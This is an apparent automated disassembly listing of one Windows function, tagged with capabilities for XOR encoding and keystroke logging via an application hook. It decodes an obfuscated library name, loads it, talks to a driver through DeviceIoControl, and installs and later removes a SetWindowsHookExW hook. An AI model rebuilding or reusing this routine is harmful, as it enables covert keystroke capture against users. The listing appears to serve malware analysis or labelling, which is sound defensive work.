Function at 0x140005490
Capabilities:
Encode data using xor
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xd0
mov rax, qword [0x14008f080]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov qword [rbp - 0x41], rdx
mov r12d, ecx
mov ecx, WSAGetLastError
xor edx, edx
call fcn.140001380
lea ecx, [rdx + 0x74]
mov word [rbp - 0x69], ax
lea edx, [rcx - 0x73]
call fcn.140001380
lea ecx, [rdx + 0x63]
mov word [rbp - 0x67], ax
lea edx, [rcx - 0x62]
call fcn.140001380
lea ecx, [rdx + 0x6a]
mov word [rbp - 0x65], ax
lea edx, [rcx - 0x69]
call fcn.140001380
lea edx, [rcx - 0x68]
mov word [rbp - 0x63], ax
call fcn.140001380
lea ecx, [rdx + 0x2a]
mov word [rbp - 0x61], ax
lea edx, [rcx - 0x29]
call fcn.140001380
lea ecx, [rdx + 0x5f]
mov word [rbp - 0x5f], ax
lea edx, [rcx - 0x5e]
call fcn.140001380
lea ecx, [rdx + 0x66]
mov word [rbp - 0x5d], ax
lea edx, [rcx - 0x65]
call fcn.140001380
lea edx, [rcx - 0x64]
mov word [rbp - 0x5b], ax
call fcn.140001380
xor ecx, ecx
mov word [rbp - 0x59], ax
lea edx, [rcx + 9]
call fcn.140001380
lea edx, [rcx + 0xa]
mov word [rbp - 0x57], ax
movzx ecx, word [0x140082814]
call fcn.140001380
movzx ecx, word [0x140082816]
mov edx, listen
mov word [rbp - 0x55], ax
call fcn.140001380
movzx ecx, word [str.C:ProgramDataKey.ini]
mov edx, listen
mov word [rbp - 0x53], ax
call fcn.140001380
movzx ecx, word [0x14008281a]
mov edx, reloc.WS2_32.dll_listen
mov word [rbp - 0x51], ax
call fcn.140001380
movzx ecx, word [0x14008281c]
mov edx, reloc.WS2_32.dll_ntohl
mov word [rbp - 0x4f], ax
call fcn.140001380
movzx ecx, word [0x14008281e]
mov edx, reloc.WS2_32.dll_ntohs
mov word [rbp - 0x4d], ax
call fcn.140001380
movzx ecx, word [0x140082820]
mov edx, reloc.WS2_32.dll_recv
mov word [rbp - 0x4b], ax
call fcn.140001380
movzx ecx, word [0x140082822]
mov edx, reloc.WS2_32.dll_recvfrom
mov word [rbp - 0x49], ax
call fcn.140001380
movzx ecx, word [0x140082824]
mov edx, reloc.WS2_32.dll_select
mov word [rbp - 0x47], ax
call fcn.140001380
mov word [rbp - 0x45], ax
mov r8d, 0x133
xor eax, eax
mov word [rbp - 0x43], ax
xor ebx, ebx
nop word [rax + rax]
movsxd rcx, eax
lea rdx, [rbp - 0x69]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x140005620
lea rcx, [rbp - 0x69]
mov word [rbp - 0x43], bx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, qword gs:[0x58]
mov r13, rax
mov edi, 4
add rdi, qword [rcx]
mov ecx, dword [rdi]
cmp dword [0x1400d3888], ecx
jle 0x1400056a4
lea rcx, [0x1400d3888]
call fcn.14007039c
cmp dword [0x1400d3888], 0xffffffff
jne 0x1400056a4
lea rcx, [0x140072ad0]
mov qword [0x1400d3890], rbx
mov qword [0x1400d3898], 0xffffffffffffffff
call fcn.14007063c
lea rcx, [0x1400d3888]
call fcn.140070330
mov eax, dword [0x1400d3890]
mov r14, rbx
mov rcx, qword [0x1400d3898]
mov dword [rbp - 1], eax
lea rax, [rbp - 0x39]
mov qword [rbp + 7], rax
mov qword [rbp - 0x39], rbx
mov dword [rbp + 3], ebx
mov qword [rbp + 0x17], 0x40
mov qword [rbp + 0xf], 0x1000
cmp rcx, 0xffffffffffffffff
je 0x140005708
mov qword [rsp + 0x38], rbx
lea r8, [rbp - 1]
mov qword [rsp + 0x30], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x28], ebx
mov edx, 0x3009d220
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov r14, qword [rbp - 0x39]
xor ecx, ecx
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x1400d2710]
lea r15, [r14 + 0x60]
mov r8, qword [rbp - 0x41]
mov rsi, rax
mov qword [rbp - 0x11], rax
mov edx, 0x50
movups xmmword [rax], xmm0
lea rbx, [rax + 0x60]
movaps xmm1, xmmword [0x1400d2720]
lea rcx, [rbx + 0x18]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400d2730]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400d2740]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400d2750]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400d2760]
movups xmmword [rax + 0x50], xmm1
mov qword [rax + 6], r15
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbx + 8], rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov eax, dword [rdi]
cmp dword [0x1400d3888], eax
jle 0x1400057dc
lea rcx, [0x1400d3888]
call fcn.14007039c
cmp dword [0x1400d3888], 0xffffffff
jne 0x1400057dc
xor eax, eax
mov qword [0x1400d3898], 0xffffffffffffffff
lea rcx, [0x140072ad0]
mov qword [0x1400d3890], rax
call fcn.14007063c
lea rcx, [0x1400d3888]
call fcn.140070330
mov rcx, qword [0x1400d3898]
xor edx, edx
mov eax, dword [0x1400d3890]
mov word [rbp - 0x14], dx
mov byte [rbp - 0x12], dl
mov dword [rbp - 0x19], eax
mov qword [rbp - 0x29], r14
mov qword [rbp - 0x31], rsi
mov qword [rbp - 0x21], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp - 0x15], 1
cmp rcx, 0xffffffffffffffff
je 0x140005835
mov qword [rsp + 0x38], rdx
lea r9d, [rdx + 0x20]
mov qword [rsp + 0x30], rdx
lea r8, [rbp - 0x31]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rdx
mov edx, 0x3009ce20
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov r9d, r12d
mov r8, r13
mov rdx, r14
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
cmp dword [rbx], 2
mov r13, rax
je 0x14000592c
xor esi, esi
nop word [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r12d
call qword [sym.imp.USER32.dll_PostThreadMessageW]
mov ecx, dword [rdi]
cmp dword [0x1400d3888], ecx
jle 0x1400058ba
lea rcx, [0x1400d3888]
call fcn.14007039c
cmp dword [0x1400d3888], 0xffffffff
jne 0x1400058ba
lea rcx, [0x140072ad0]
mov qword [0x1400d3890], rsi
mov qword [0x1400d3898], 0xffffffffffffffff
call fcn.14007063c
lea rcx, [0x1400d3888]
call fcn.140070330
mov rcx, qword [0x1400d3898]
mov eax, dword [0x1400d3890]
mov word [rbp - 0x14], si
mov byte [rbp - 0x12], sil
mov dword [rbp - 0x19], eax
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x31], rbx
mov qword [rbp - 0x21], WSAGetLastError
mov byte [rbp - 0x15], sil
cmp rcx, 0xffffffffffffffff
je 0x140005914
mov qword [rsp + 0x38], rsi
lea r8, [rbp - 0x31]
mov qword [rsp + 0x30], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x28], esi
mov edx, 0x3009ce20
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbx], 2
jne 0x140005860
mov rsi, qword [rbp - 0x11]
mov rbx, qword [rbx + 0x10]
mov rcx, r13
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, dword [rdi]
cmp dword [0x1400d3888], eax
jle 0x140005984
lea rcx, [0x1400d3888]
call fcn.14007039c
cmp dword [0x1400d3888], 0xffffffff
jne 0x140005984
xor eax, eax
mov qword [0x1400d3898], 0xffffffffffffffff
lea rcx, [0x140072ad0]
mov qword [0x1400d3890], rax
call fcn.14007063c
lea rcx, [0x1400d3888]
call fcn.140070330
mov rcx, qword [0x1400d3898]
xor edx, edx
mov eax, dword [0x1400d3890]
mov dword [rbp - 0xd], edx
mov dword [rbp - 0x11], eax
mov qword [rbp - 9], r14
cmp rcx, 0xffffffffffffffff
je 0x1400059c9
mov qword [rsp + 0x38], rdx
lea r9d, [rdx + 0x10]
mov qword [rsp + 0x30], rdx
lea r8, [rbp - 0x11]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rdx
mov edx, 0x3009d4e0
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rbx
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.140070310
mov rbx, qword [rsp + 0x120]
add rsp, 0xd0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret